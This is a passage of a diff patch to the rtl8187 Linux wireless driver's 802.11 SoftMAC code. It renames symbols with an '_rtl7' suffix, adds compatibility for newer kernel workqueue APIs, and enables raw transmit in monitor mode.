ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_softmac_wx.c 2010-05-19 22:18:51.972696243 -0700 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & 